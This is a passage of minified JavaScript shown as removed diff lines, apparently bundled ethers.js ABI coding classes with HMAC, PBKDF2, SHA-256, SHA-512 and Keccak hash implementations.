slice(t2, e2) { - null == t2 && (t2 = 0), t2 < 0 && (t2 += this.length) < 0 && (t2 = 0), null == e2 && (e2 = this.length), e2 < 0 && (e2 += this.length) < 0 && (e2 = 0), e2 > this.length && (e2 = this.length); - const r4 = [], n2 = []; - for (let A2 = t2; A2 < e2; A2++) - r4.push(this[A2]), n2.push(this.#h[A2]); - return new _RA(PA, r4, n2); - } - filter(t2, e2) { - const r4 = [], n2 = []; - for (let A2 = 0; A2 < this.length; A2++) { - const i2 = this[A2]; - i2 instanceof Error && TA(`index ${A2}`, i2), t2.call(e2, i2, A2, this) && (r4.push(i2), n2.push(this.#h[A2])); - } - return new _RA(PA, r4, n2); - } - map(t2, e2) { - const r4 = []; - for (let n2 = 0; n2 < this.length; n2++) { - const A2 = this[n2]; - A2 instanceof Error && TA(`index ${n2}`, A2), r4.push(t2.call(e2, A2, n2, this)); - } - return r4; - } - getValue(t2) { - const e2 = this.#h.indexOf(t2); - if (-1 === e2) - return; - const r4 = this[e2]; - return r4 instanceof Error && TA(`property ${JSON.stringify(t2)}`, r4.error), r4; - } - static fromItems(t2, e2) { - return new _RA(PA, t2, e2); - } - }; - function UA(t2) { - let e2 = $n(t2); - return wn(e2.length <= MA, "value out-of-bounds", "BUFFER_OVERRUN", { buffer: e2, length: MA, offset: e2.length }), e2.length !== MA && (e2 = Nn(Tn([xA.slice(e2.length % MA), e2]))), e2; - } - var GA = class { - name; - type; - localName; - dynamic; - constructor(t2, e2, r4, n2) { - yn(this, { name: t2, type: e2, localName: r4, dynamic: n2 }, { name: "string", type: "string", localName: "string", dynamic: "boolean" }); - } - _throwError(t2, e2) { - vn(false, t2, this.localName, e2); - } - }; - var HA = class { - #g; - #u; - constructor() { - this.#g = [], this.#u = 0; - } - get data() { - return Tn(this.#g); - } - get length() { - return this.#u; - } - #l(t2) { - return this.#g.push(t2), this.#u += t2.length, t2.length; - } - appendWriter(t2) { - return this.#l(Nn(t2.data)); - } - writeBytes(t2) { - let e2 = Nn(t2); - const r4 = e2.length % MA; - return r4 && (e2 = Nn(Tn([e2, xA.slice(r4)]))), this.#l(e2); - } - writeValue(t2) { - return this.#l(UA(t2)); - } - writeUpdatableValue() { - const t2 = this.#g.length; - return this.#g.push(xA), this.#u += MA, (e2) => { - this.#g[t2] = UA(e2); - }; - } - }; - var LA = class _LA { - allowLoose; - #g; - #f; - #p; - #d; - #I; - constructor(t2, e2, r4) { - yn(this, { allowLoose: !!e2 }), this.#g = Nn(t2), this.#p = 0, this.#d = null, this.#I = null != r4 ? r4 : 1024, this.#f = 0; - } - get data() { - return Pn(this.#g); - } - get dataLength() { - return this.#g.length; - } - get consumed() { - return this.#f; - } - get bytes() { - return new Uint8Array(this.#g); - } - #y(t2) { - if (this.#d) - return this.#d.#y(t2); - this.#p += t2, wn(this.#I < 1 || this.#p <= this.#I * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#I} ( see: https://github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { buffer: Nn(this.#g), offset: this.#f, length: t2, info: { bytesRead: this.#p, dataLength: this.dataLength } }); - } - #C(t2, e2, r4) { - let n2 = Math.ceil(e2 / MA) * MA; - return this.#f + n2 > this.#g.length && (this.allowLoose && r4 && this.#f + e2 <= this.#g.length ? n2 = e2 : wn(false, "data out-of-bounds", "BUFFER_OVERRUN", { buffer: Nn(this.#g), length: this.#g.length, offset: this.#f + n2 })), this.#g.slice(this.#f, this.#f + n2); - } - subReader(t2) { - const e2 = new _LA(this.#g.slice(this.#f + t2), this.allowLoose, this.#I); - return e2.#d = this, e2; - } - readBytes(t2, e2) { - let r4 = this.#C(0, t2, !!e2); - return this.#y(t2), this.#f += r4.length, r4.slice(0, t2); - } - readValue() { - return Vn(this.readBytes(MA)); - } - readIndex() { - return Wn(Vn(this.readBytes(MA))); - } - }; - function OA(t2) { - if (!Number.isSafeInteger(t2) || t2 < 0) - throw new Error(`Wrong positive integer: ${t2}`); - } - function YA(t2, ...e2) { - if (!(t2 instanceof Uint8Array)) - throw new Error("Expected Uint8Array"); - if (e2.length > 0 && !e2.includes(t2.length)) - throw new Error(`Expected Uint8Array of length ${e2}, not of length=${t2.length}`); - } - function KA(t2) { - if ("function" != typeof t2 || "function" != typeof t2.create) - throw new Error("Hash should be wrapped by utils.wrapConstructor"); - OA(t2.outputLen), OA(t2.blockLen); - } - function JA(t2, e2 = true) { - if (t2.destroyed) - throw new Error("Hash instance has been destroyed"); - if (e2 && t2.finished) - throw new Error("Hash#digest() has already been called"); - } - function jA(t2, e2) { - YA(t2); - const r4 = e2.outputLen; - if (t2.length < r4) - throw new Error(`digestInto() expects output buffer of length at least ${r4}`); - } - var zA = "object" == typeof globalThis && "crypto" in globalThis ? globalThis.crypto : void 0; - var qA = (t2) => t2 instanceof Uint8Array; - var XA = (t2) => new Uint32Array(t2.buffer, t2.byteOffset, Math.floor(t2.byteLength / 4)); - var VA = (t2) => new DataView(t2.buffer, t2.byteOffset, t2.byteLength); - var WA = (t2, e2) => t2 << 32 - e2 | t2 >>> e2; - if (!(68 === new Uint8Array(new Uint32Array([287454020]).buffer)[0])) - throw new Error("Non little-endian hardware is not supported"); - var ZA = async () => { - }; - async function $A(t2, e2, r4) { - let n2 = Date.now(); - for (let A2 = 0; A2 < t2; A2++) { - r4(A2); - const t3 = Date.now() - n2; - t3 >= 0 && t3 < e2 || (await ZA(), n2 += t3); - } - } - function ti(t2) { - if ("string" == typeof t2 && (t2 = function(t3) { - if ("string" != typeof t3) - throw new Error("utf8ToBytes expected string, got " + typeof t3); - return new Uint8Array(new TextEncoder().encode(t3)); - }(t2)), !qA(t2)) - throw new Error("expected Uint8Array, got " + typeof t2); - return t2; - } - var ei = class { - clone() { - return this._cloneInto(); - } - }; - var ri = {}.toString; - function ni(t2, e2) { - if (void 0 !== e2 && "[object Object]" !== ri.call(e2)) - throw new Error("Options should be object or undefined"); - return Object.assign(t2, e2); - } - function Ai(t2) { - const e2 = (e3) => t2().update(ti(e3)).digest(), r4 = t2(); - return e2.outputLen = r4.outputLen, e2.blockLen = r4.blockLen, e2.create = () => t2(), e2; - } - function ii(t2 = 32) { - if (zA && "function" == typeof zA.getRandomValues) - return zA.getRandomValues(new Uint8Array(t2)); - throw new Error("crypto.getRandomValues must be defined"); - } - var oi = class extends ei { - constructor(t2, e2) { - super(), this.finished = false, this.destroyed = false, KA(t2); - const r4 = ti(e2); - if (this.iHash = t2.create(), "function" != typeof this.iHash.update) - throw new Error("Expected instance of class which extends utils.Hash"); - this.blockLen = this.iHash.blockLen, this.outputLen = this.iHash.outputLen; - const n2 = this.blockLen, A2 = new Uint8Array(n2); - A2.set(r4.length > n2 ? t2.create().update(r4).digest() : r4); - for (let t3 = 0; t3 < A2.length; t3++) - A2[t3] ^= 54; - this.iHash.update(A2), this.oHash = t2.create(); - for (let t3 = 0; t3 < A2.length; t3++) - A2[t3] ^= 106; - this.oHash.update(A2), A2.fill(0); - } - update(t2) { - return JA(this), this.iHash.update(t2), this; - } - digestInto(t2) { - JA(this), YA(t2, this.outputLen), this.finished = true, this.iHash.digestInto(t2), this.oHash.update(t2), this.oHash.digestInto(t2), this.destroy(); - } - digest() { - const t2 = new Uint8Array(this.oHash.outputLen); - return this.digestInto(t2), t2; - } - _cloneInto(t2) { - t2 || (t2 = Object.create(Object.getPrototypeOf(this), {})); - const { oHash: e2, iHash: r4, finished: n2, destroyed: A2, blockLen: i2, outputLen: o2 } = this; - return t2.finished = n2, t2.destroyed = A2, t2.blockLen = i2, t2.outputLen = o2, t2.oHash = e2._cloneInto(t2.oHash), t2.iHash = r4._cloneInto(t2.iHash), t2; - } - destroy() { - this.destroyed = true, this.oHash.destroy(), this.iHash.destroy(); - } - }; - var si = (t2, e2, r4) => new oi(t2, e2).update(r4).digest(); - function ai(t2, e2, r4, n2) { - KA(t2); - const A2 = ni({ dkLen: 32, asyncTick: 10 }, n2), { c: i2, dkLen: o2, asyncTick: s2 } = A2; - if (OA(i2), OA(o2), OA(s2), i2 < 1) - throw new Error("PBKDF2: iterations (c) should be >= 1"); - const a2 = ti(e2), c2 = ti(r4), h2 = new Uint8Array(o2), g2 = si.create(t2, a2), u2 = g2._cloneInto().update(c2); - return { c: i2, dkLen: o2, asyncTick: s2, DK: h2, PRF: g2, PRFSalt: u2 }; - } - function ci(t2, e2, r4, n2) { - const { c: A2, dkLen: i2, DK: o2, PRF: s2, PRFSalt: a2 } = ai(t2, e2, r4, n2); - let c2; - const h2 = new Uint8Array(4), g2 = VA(h2), u2 = new Uint8Array(s2.outputLen); - for (let t3 = 1, e3 = 0; e3 < i2; t3++, e3 += s2.outputLen) { - const r5 = o2.subarray(e3, e3 + s2.outputLen); - g2.setInt32(0, t3, false), (c2 = a2._cloneInto(c2)).update(h2).digestInto(u2), r5.set(u2.subarray(0, r5.length)); - for (let t4 = 1; t4 < A2; t4++) { - s2._cloneInto(c2).update(u2).digestInto(u2); - for (let t5 = 0; t5 < r5.length; t5++) - r5[t5] ^= u2[t5]; - } - } - return function(t3, e3, r5, n3, A3) { - return t3.destroy(), e3.destroy(), n3 && n3.destroy(), A3.fill(0), r5; - }(s2, a2, o2, c2, u2); - } - si.create = (t2, e2) => new oi(t2, e2); - var hi = class extends ei { - constructor(t2, e2, r4, n2) { - super(), this.blockLen = t2, this.outputLen = e2, this.padOffset = r4, this.isLE = n2, this.finished = false, this.length = 0, this.pos = 0, this.destroyed = false, this.buffer = new Uint8Array(t2), this.view = VA(this.buffer); - } - update(t2) { - JA(this); - const { view: e2, buffer: r4, blockLen: n2 } = this, A2 = (t2 = ti(t2)).length; - for (let i2 = 0; i2 < A2; ) { - const o2 = Math.min(n2 - this.pos, A2 - i2); - if (o2 !== n2) - r4.set(t2.subarray(i2, i2 + o2), this.pos), this.pos += o2, i2 += o2, this.pos === n2 && (this.process(e2, 0), this.pos = 0); - else { - const e3 = VA(t2); - for (; n2 <= A2 - i2; i2 += n2) - this.process(e3, i2); - } - } - return this.length += t2.length, this.roundClean(), this; - } - digestInto(t2) { - JA(this), jA(t2, this), this.finished = true; - const { buffer: e2, view: r4, blockLen: n2, isLE: A2 } = this; - let { pos: i2 } = this; - e2[i2++] = 128, this.buffer.subarray(i2).fill(0), this.padOffset > n2 - i2 && (this.process(r4, 0), i2 = 0); - for (let t3 = i2; t3 < n2; t3++) - e2[t3] = 0; - !function(t3, e3, r5, n3) { - if ("function" == typeof t3.setBigUint64) - return t3.setBigUint64(e3, r5, n3); - const A3 = BigInt(32), i3 = BigInt(4294967295), o3 = Number(r5 >> A3 & i3), s3 = Number(r5 & i3), a3 = n3 ? 4 : 0, c3 = n3 ? 0 : 4; - t3.setUint32(e3 + a3, o3, n3), t3.setUint32(e3 + c3, s3, n3); - }(r4, n2 - 8, BigInt(8 * this.length), A2), this.process(r4, 0); - const o2 = VA(t2), s2 = this.outputLen; - if (s2 % 4) - throw new Error("_sha2: outputLen should be aligned to 32bit"); - const a2 = s2 / 4, c2 = this.get(); - if (a2 > c2.length) - throw new Error("_sha2: outputLen bigger than state"); - for (let t3 = 0; t3 < a2; t3++) - o2.setUint32(4 * t3, c2[t3], A2); - } - digest() { - const { buffer: t2, outputLen: e2 } = this; - this.digestInto(t2); - const r4 = t2.slice(0, e2); - return this.destroy(), r4; - } - _cloneInto(t2) { - t2 || (t2 = new this.constructor()), t2.set(...this.get()); - const { blockLen: e2, buffer: r4, length: n2, finished: A2, destroyed: i2, pos: o2 } = this; - return t2.length = n2, t2.pos = o2, t2.finished = A2, t2.destroyed = i2, n2 % e2 && t2.buffer.set(r4), t2; - } - }; - var gi = (t2, e2, r4) => t2 & e2 ^ ~t2 & r4; - var ui = (t2, e2, r4) => t2 & e2 ^ t2 & r4 ^ e2 & r4; - var li = new Uint32Array([1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]); - var fi = new Uint32Array([1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]); - var pi = new Uint32Array(64); - var di = class extends hi { - constructor() { - super(64, 32, 8, false), this.A = 0 | fi[0], this.B = 0 | fi[1], this.C = 0 | fi[2], this.D = 0 | fi[3], this.E = 0 | fi[4], this.F = 0 | fi[5], this.G = 0 | fi[6], this.H = 0 | fi[7]; - } - get() { - const { A: t2, B: e2, C: r4, D: n2, E: A2, F: i2, G: o2, H: s2 } = this; - return [t2, e2, r4, n2, A2, i2, o2, s2]; - } - set(t2, e2, r4, n2, A2, i2, o2, s2) { - this.A = 0 | t2, this.B = 0 | e2, this.C = 0 | r4, this.D = 0 | n2, this.E = 0 | A2, this.F = 0 | i2, this.G = 0 | o2, this.H = 0 | s2; - } - process(t2, e2) { - for (let r5 = 0; r5 < 16; r5++, e2 += 4) - pi[r5] = t2.getUint32(e2, false); - for (let t3 = 16; t3 < 64; t3++) { - const e3 = pi[t3 - 15], r5 = pi[t3 - 2], n3 = WA(e3, 7) ^ WA(e3, 18) ^ e3 >>> 3, A3 = WA(r5, 17) ^ WA(r5, 19) ^ r5 >>> 10; - pi[t3] = A3 + pi[t3 - 7] + n3 + pi[t3 - 16] | 0; - } - let { A: r4, B: n2, C: A2, D: i2, E: o2, F: s2, G: a2, H: c2 } = this; - for (let t3 = 0; t3 < 64; t3++) { - const e3 = c2 + (WA(o2, 6) ^ WA(o2, 11) ^ WA(o2, 25)) + gi(o2, s2, a2) + li[t3] + pi[t3] | 0, h2 = (WA(r4, 2) ^ WA(r4, 13) ^ WA(r4, 22)) + ui(r4, n2, A2) | 0; - c2 = a2, a2 = s2, s2 = o2, o2 = i2 + e3 | 0, i2 = A2, A2 = n2, n2 = r4, r4 = e3 + h2 | 0; - } - r4 = r4 + this.A | 0, n2 = n2 + this.B | 0, A2 = A2 + this.C | 0, i2 = i2 + this.D | 0, o2 = o2 + this.E | 0, s2 = s2 + this.F | 0, a2 = a2 + this.G | 0, c2 = c2 + this.H | 0, this.set(r4, n2, A2, i2, o2, s2, a2, c2); - } - roundClean() { - pi.fill(0); - } - destroy() { - this.set(0, 0, 0, 0, 0, 0, 0, 0), this.buffer.fill(0); - } - }; - var Ii = Ai(() => new di()); - var yi = BigInt(2 ** 32 - 1); - var Ci = BigInt(32); - function mi(t2, e2 = false) { - return e2 ? { h: Number(t2 & yi), l: Number(t2 >> Ci & yi) } : { h: 0 | Number(t2 >> Ci & yi), l: 0 | Number(t2 & yi) }; - } - function Bi(t2, e2 = false) { - let r4 = new Uint32Array(t2.length), n2 = new Uint32Array(t2.length); - for (let A2 = 0; A2 < t2.length; A2++) { - const { h: i2, l: o2 } = mi(t2[A2], e2); - [r4[A2], n2[A2]] = [i2, o2]; - } - return [r4, n2]; - } - var Ei = (t2, e2, r4) => t2 << r4 | e2 >>> 32 - r4; - var wi = (t2, e2, r4) => e2 << r4 | t2 >>> 32 - r4; - var vi = (t2, e2, r4) => e2 << r4 - 32 | t2 >>> 64 - r4; - var _i = (t2, e2, r4) => t2 << r4 - 32 | e2 >>> 64 - r4; - var Qi = { fromBig: mi, split: Bi, toBig: (t2, e2) => BigInt(t2 >>> 0) << Ci | BigInt(e2 >>> 0), shrSH: (t2, e2, r4) => t2 >>> r4, shrSL: (t2, e2, r4) => t2 << 32 - r4 | e2 >>> r4, rotrSH: (t2, e2, r4) => t2 >>> r4 | e2 << 32 - r4, rotrSL: (t2, e2, r4) => t2 << 32 - r4 | e2 >>> r4, rotrBH: (t2, e2, r4) => t2 << 64 - r4 | e2 >>> r4 - 32, rotrBL: (t2, e2, r4) => t2 >>> r4 - 32 | e2 << 64 - r4, rotr32H: (t2, e2) => e2, rotr32L: (t2, e2) => t2, rotlSH: Ei, rotlSL: wi, rotlBH: vi, rotlBL: _i, add: function(t2, e2, r4, n2) { - const A2 = (e2 >>> 0) + (n2 >>> 0); - return { h: t2 + r4 + (A2 / 2 ** 32 | 0) | 0, l: 0 | A2 }; - }, add3L: (t2, e2, r4) => (t2 >>> 0) + (e2 >>> 0) + (r4 >>> 0), add3H: (t2, e2, r4, n2) => e2 + r4 + n2 + (t2 / 2 ** 32 | 0) | 0, add4L: (t2, e2, r4, n2) => (t2 >>> 0) + (e2 >>> 0) + (r4 >>> 0) + (n2 >>> 0), add4H: (t2, e2, r4, n2, A2) => e2 + r4 + n2 + A2 + (t2 / 2 ** 32 | 0) | 0, add5H: (t2, e2, r4, n2, A2, i2) => e2 + r4 + n2 + A2 + i2 + (t2 / 2 ** 32 | 0) | 0, add5L: (t2, e2, r4, n2, A2) => (t2 >>> 0) + (e2 >>> 0) + (r4 >>> 0) + (n2 >>> 0) + (A2 >>> 0) }; - var [bi, ki] = (() => Qi.split(["0x428a2f98d728ae22", "0x7137449123ef65cd", "0xb5c0fbcfec4d3b2f", "0xe9b5dba58189dbbc", "0x3956c25bf348b538", "0x59f111f1b605d019", "0x923f82a4af194f9b", "0xab1c5ed5da6d8118", "0xd807aa98a3030242", "0x12835b0145706fbe", "0x243185be4ee4b28c", "0x550c7dc3d5ffb4e2", "0x72be5d74f27b896f", "0x80deb1fe3b1696b1", "0x9bdc06a725c71235", "0xc19bf174cf692694", "0xe49b69c19ef14ad2", "0xefbe4786384f25e3", "0x0fc19dc68b8cd5b5", "0x240ca1cc77ac9c65", "0x2de92c6f592b0275", "0x4a7484aa6ea6e483", "0x5cb0a9dcbd41fbd4", "0x76f988da831153b5", "0x983e5152ee66dfab", "0xa831c66d2db43210", "0xb00327c898fb213f", "0xbf597fc7beef0ee4", "0xc6e00bf33da88fc2", "0xd5a79147930aa725", "0x06ca6351e003826f", "0x142929670a0e6e70", "0x27b70a8546d22ffc", "0x2e1b21385c26c926", "0x4d2c6dfc5ac42aed", "0x53380d139d95b3df", "0x650a73548baf63de", "0x766a0abb3c77b2a8", "0x81c2c92e47edaee6", "0x92722c851482353b", "0xa2bfe8a14cf10364", "0xa81a664bbc423001", "0xc24b8b70d0f89791", "0xc76c51a30654be30", "0xd192e819d6ef5218", "0xd69906245565a910", "0xf40e35855771202a", "0x106aa07032bbd1b8", "0x19a4c116b8d2d0c8", "0x1e376c085141ab53", "0x2748774cdf8eeb99", "0x34b0bcb5e19b48a8", "0x391c0cb3c5c95a63", "0x4ed8aa4ae3418acb", "0x5b9cca4f7763e373", "0x682e6ff3d6b2b8a3", "0x748f82ee5defb2fc", "0x78a5636f43172f60", "0x84c87814a1f0ab72", "0x8cc702081a6439ec", "0x90befffa23631e28", "0xa4506cebde82bde9", "0xbef9a3f7b2c67915", "0xc67178f2e372532b", "0xca273eceea26619c", "0xd186b8c721c0c207", "0xeada7dd6cde0eb1e", "0xf57d4f7fee6ed178", "0x06f067aa72176fba", "0x0a637dc5a2c898a6", "0x113f9804bef90dae", "0x1b710b35131c471b", "0x28db77f523047d84", "0x32caab7b40c72493", "0x3c9ebe0a15c9bebc", "0x431d67c49c100d4c", "0x4cc5d4becb3e42b6", "0x597f299cfc657e2a", "0x5fcb6fab3ad6faec", "0x6c44198c4a475817"].map((t2) => BigInt(t2))))(); - var Di = new Uint32Array(80); - var Si = new Uint32Array(80); - var Ni = class extends hi { - constructor() { - super(128, 64, 16, false), this.Ah = 1779033703, this.Al = -205731576, this.Bh = -1150833019, this.Bl = -2067093701, this.Ch = 1013904242, this.Cl = -23791573, this.Dh = -1521486534, this.Dl = 1595750129, this.Eh = 1359893119, this.El = -1377402159, this.Fh = -1694144372, this.Fl = 725511199, this.Gh = 528734635, this.Gl = -79577749, this.Hh = 1541459225, this.Hl = 327033209; - } - get() { - const { Ah: t2, Al: e2, Bh: r4, Bl: n2, Ch: A2, Cl: i2, Dh: o2, Dl: s2, Eh: a2, El: c2, Fh: h2, Fl: g2, Gh: u2, Gl: l2, Hh: f2, Hl: p2 } = this; - return [t2, e2, r4, n2, A2, i2, o2, s2, a2, c2, h2, g2, u2, l2, f2, p2]; - } - set(t2, e2, r4, n2, A2, i2, o2, s2, a2, c2, h2, g2, u2, l2, f2, p2) { - this.Ah = 0 | t2, this.Al = 0 | e2, this.Bh = 0 | r4, this.Bl = 0 | n2, this.Ch = 0 | A2, this.Cl = 0 | i2, this.Dh = 0 | o2, this.Dl = 0 | s2, this.Eh = 0 | a2, this.El = 0 | c2, this.Fh = 0 | h2, this.Fl = 0 | g2, this.Gh = 0 | u2, this.Gl = 0 | l2, this.Hh = 0 | f2, this.Hl = 0 | p2; - } - process(t2, e2) { - for (let r5 = 0; r5 < 16; r5++, e2 += 4) - Di[r5] = t2.getUint32(e2), Si[r5] = t2.getUint32(e2 += 4); - for (let t3 = 16; t3 < 80; t3++) { - const e3 = 0 | Di[t3 - 15], r5 = 0 | Si[t3 - 15], n3 = Qi.rotrSH(e3, r5, 1) ^ Qi.rotrSH(e3, r5, 8) ^ Qi.shrSH(e3, r5, 7), A3 = Qi.rotrSL(e3, r5, 1) ^ Qi.rotrSL(e3, r5, 8) ^ Qi.shrSL(e3, r5, 7), i3 = 0 | Di[t3 - 2], o3 = 0 | Si[t3 - 2], s3 = Qi.rotrSH(i3, o3, 19) ^ Qi.rotrBH(i3, o3, 61) ^ Qi.shrSH(i3, o3, 6), a3 = Qi.rotrSL(i3, o3, 19) ^ Qi.rotrBL(i3, o3, 61) ^ Qi.shrSL(i3, o3, 6), c3 = Qi.add4L(A3, a3, Si[t3 - 7], Si[t3 - 16]), h3 = Qi.add4H(c3, n3, s3, Di[t3 - 7], Di[t3 - 16]); - Di[t3] = 0 | h3, Si[t3] = 0 | c3; - } - let { Ah: r4, Al: n2, Bh: A2, Bl: i2, Ch: o2, Cl: s2, Dh: a2, Dl: c2, Eh: h2, El: g2, Fh: u2, Fl: l2, Gh: f2, Gl: p2, Hh: d2, Hl: I2 } = this; - for (let t3 = 0; t3 < 80; t3++) { - const e3 = Qi.rotrSH(h2, g2, 14) ^ Qi.rotrSH(h2, g2, 18) ^ Qi.rotrBH(h2, g2, 41), y2 = Qi.rotrSL(h2, g2, 14) ^ Qi.rotrSL(h2, g2, 18) ^ Qi.rotrBL(h2, g2, 41), C2 = h2 & u2 ^ ~h2 & f2, m2 = g2 & l2 ^ ~g2 & p2, B2 = Qi.add5L(I2, y2, m2, ki[t3], Si[t3]), E2 = Qi.add5H(B2, d2, e3, C2, bi[t3], Di[t3]), w2 = 0 | B2, v2 = Qi.rotrSH(r4, n2, 28) ^ Qi.rotrBH(r4, n2, 34) ^ Qi.rotrBH(r4, n2, 39), _2 = Qi.rotrSL(r4, n2, 28) ^ Qi.rotrBL(r4, n2, 34) ^ Qi.rotrBL(r4, n2, 39), Q2 = r4 & A2 ^ r4 & o2 ^ A2 & o2, b2 = n2 & i2 ^ n2 & s2 ^ i2 & s2; - d2 = 0 | f2, I2 = 0 | p2, f2 = 0 | u2, p2 = 0 | l2, u2 = 0 | h2, l2 = 0 | g2, { h: h2, l: g2 } = Qi.add(0 | a2, 0 | c2, 0 | E2, 0 | w2), a2 = 0 | o2, c2 = 0 | s2, o2 = 0 | A2, s2 = 0 | i2, A2 = 0 | r4, i2 = 0 | n2; - const k2 = Qi.add3L(w2, _2, b2); - r4 = Qi.add3H(k2, E2, v2, Q2), n2 = 0 | k2; - } - ({ h: r4, l: n2 } = Qi.add(0 | this.Ah, 0 | this.Al, 0 | r4, 0 | n2)), { h: A2, l: i2 } = Qi.add(0 | this.Bh, 0 | this.Bl, 0 | A2, 0 | i2), { h: o2, l: s2 } = Qi.add(0 | this.Ch, 0 | this.Cl, 0 | o2, 0 | s2), { h: a2, l: c2 } = Qi.add(0 | this.Dh, 0 | this.Dl, 0 | a2, 0 | c2), { h: h2, l: g2 } = Qi.add(0 | this.Eh, 0 | this.El, 0 | h2, 0 | g2), { h: u2, l: l2 } = Qi.add(0 | this.Fh, 0 | this.Fl, 0 | u2, 0 | l2), { h: f2, l: p2 } = Qi.add(0 | this.Gh, 0 | this.Gl, 0 | f2, 0 | p2), { h: d2, l: I2 } = Qi.add(0 | this.Hh, 0 | this.Hl, 0 | d2, 0 | I2), this.set(r4, n2, A2, i2, o2, s2, a2, c2, h2, g2, u2, l2, f2, p2, d2, I2); - } - roundClean() { - Di.fill(0), Si.fill(0); - } - destroy() { - this.buffer.fill(0), this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); - } - }; - var Mi = Ai(() => new Ni()); - var xi = function() { - if ("undefined" != typeof self) - return self; - if ("undefined" != typeof window) - return window; - if ("undefined" != typeof global) - return global; - throw new Error("unable to locate global object"); - }(); - var Fi = xi.crypto || xi.msCrypto; - var Pi = false; - var Ti = function(t2, e2, r4) { - return function(t3, e3) { - const r5 = { sha256: Ii, sha512: Mi }[t3]; - return vn(null != r5, "invalid hmac algorithm", "algorithm", t3), si.create(r5, e3); - }(t2, e2).update(r4).digest(); - }; - var Ri = Ti; - function Ui(t2, e2, r4) { - const n2 = Sn(e2, "key"), A2 = Sn(r4, "data"); - return Pn(Ri(t2, n2, A2)); - } - Ui._ = Ti, Ui.lock = function() { - Pi = true; - }, Ui.register = function(t2) { - if (Pi) - throw new Error("computeHmac is locked"); - Ri = t2; - }, Object.freeze(Ui); - var [Gi, Hi, Li] = [[], [], []]; - var Oi = BigInt(0); - var Yi = BigInt(1); - var Ki = BigInt(2); - var Ji = BigInt(7); - var ji = BigInt(256); - var zi = BigInt(113); - for (let t2 = 0, e2 = Yi, r4 = 1, n2 = 0; t2 < 24; t2++) { - [r4, n2] = [n2, (2 * r4 + 3 * n2) % 5], Gi.push(2 * (5 * n2 + r4)), Hi.push((t2 + 1) * (t2 + 2) / 2 % 64); - let A2 = Oi; - for (let t3 = 0; t3 < 7; t3++) - e2 = (e2 << Yi ^ (e2 >> Ji) * zi) % ji, e2 & Ki && (A2 ^= Yi << (Yi << BigInt(t3)) - Yi); - Li.push(A2); - } - var [qi, Xi] = Bi(Li, true); - var Vi = (t2, e2, r4) => r4 > 32 ? vi(t2, e2, r4) : Ei(t2, e2, r4); - var Wi = (t2, e2, r4) => r4 > 32 ? _i(t2, e2, r4) : wi(t2, e2, r4); - var Zi = class _Zi extends ei { - constructor(t2, e2, r4, n2 = false, A2 = 24) { - if (super(), this.blockLen = t2, this.suffix = e2, this.outputLen = r4, this.enableXOF = n2, this.rounds = A2, this.pos = 0, this.posOut = 0, this.finished = false, this.destroyed = false, OA(r4), 0 >= this.blockLen || this.blockLen >= 200) - throw new Error("Sha3 supports only keccak-f1600 function"); - this.state = new Uint8Array(200), this.state32 = XA(this.state); - } - keccak() { - !function(t2, e2 = 24) { - const r4 = new Uint32Array(10); - for (let n2 = 24 - e2; n2 < 24; n2++) { - for (let e4 = 0; e4 < 10; e4++) - r4[e4] = t2[e4] ^ t2[e4 + 10] ^ t2[e4 + 20] ^ t2[e4 + 30] ^ t2[e4 + 40]; - for (let e4 = 0; e4 < 10; e4 += 2) { - const n3 = (e4 + 8) % 10, A3 = (e4 + 2) % 10, i2 = r4[A3], o2 = r4[A3 + 1], s2 = Vi(i2, o2, 1) ^ r4[n3], a2 = Wi(i2, o2, 1) ^ r4[n3 + 1]; - for (let r5 = 0; r5 < 50; r5 += 10) - t2[e4 + r5] ^= s2, t2[e4 + r5 + 1] ^= a2; - } - let e3 = t2[2], A2 = t2[3]; - for (let r5 = 0; r5 < 24; r5++) { - const n3 = Hi[r5], i2 = Vi(e3, A2, n3), o2 = Wi(e3, A2, n3), s2 = Gi[r5]; - e3 = t2[s2], A2 = t2[s2 + 1], t2[s2] = i2, t2[s2 + 1] = o2; - } - for (let e4 = 0; e4 < 50; e4 += 10) { - for (let n3 = 0; n3 < 10; n3++) - r4[n3] = t2[e4 + n3]; - for (let n3 = 0; n3 < 10; n3++) - t2[e4 + n3] ^= ~r4[(n3 + 2) % 10] & r4[(n3 + 4) % 10]; - } - t2[0] ^= qi[n2], t2[1] ^= Xi[n2]; - } - r4.fill(0); - }(this.state32, this.rounds), this.posOut = 0, this.pos = 0; - } - update(t2) { - JA(this); - const { blockLen: e2, state: r4 } = this, n2 = (t2 = ti(t2)).length; - for (let A2 = 0; A2 < n2; ) { - const i2 = Math.min(e2 - this.pos, n2 - A2); - for (let e3 = 0; e3 < i2; e3++) - r4[this.pos++] ^= t2[A2++]; - this.pos === e2 && this.keccak(); - } - return this; - } - finish() { - if (this.finished) - return; - this.finished = true; - const { state: t2, suffix: e2, pos: r4, blockLen: n2 } = this; - t2[r4] ^= e2, 128 & e2 && r4 === n2 - 1 && this.keccak(), t2[n2 - 1] ^= 128, this.keccak(); - } - writeInto(t2) { - JA(this, false), YA(t2), this.finish(); - const e2 = this.state, { blockLen: r4 } = this; - for (let n2 = 0, A2 = t2.length; n2 < A2; ) { - this.posOut >= r4 && this.keccak(); - const i2 = Math.min(r4 - this.posOut, A2 - n2); - t2.set(e2.subarray(this.posOut, this.posOut + i2), n2), this.posOut += i2, n2 += i2; - } - return t2; - } - xofInto(t2) { - if (!this.enableXOF) - throw new Error("XOF is not possible for this instance"); - return this.writeInto(t2); - } - xof(t2) { - return OA(t2), this.xofInto(new Uint8Array(t2)); - } - digestInto(t2) { - if (jA(t2, this), this.finished) - throw new Error("digest() was already called"); - return 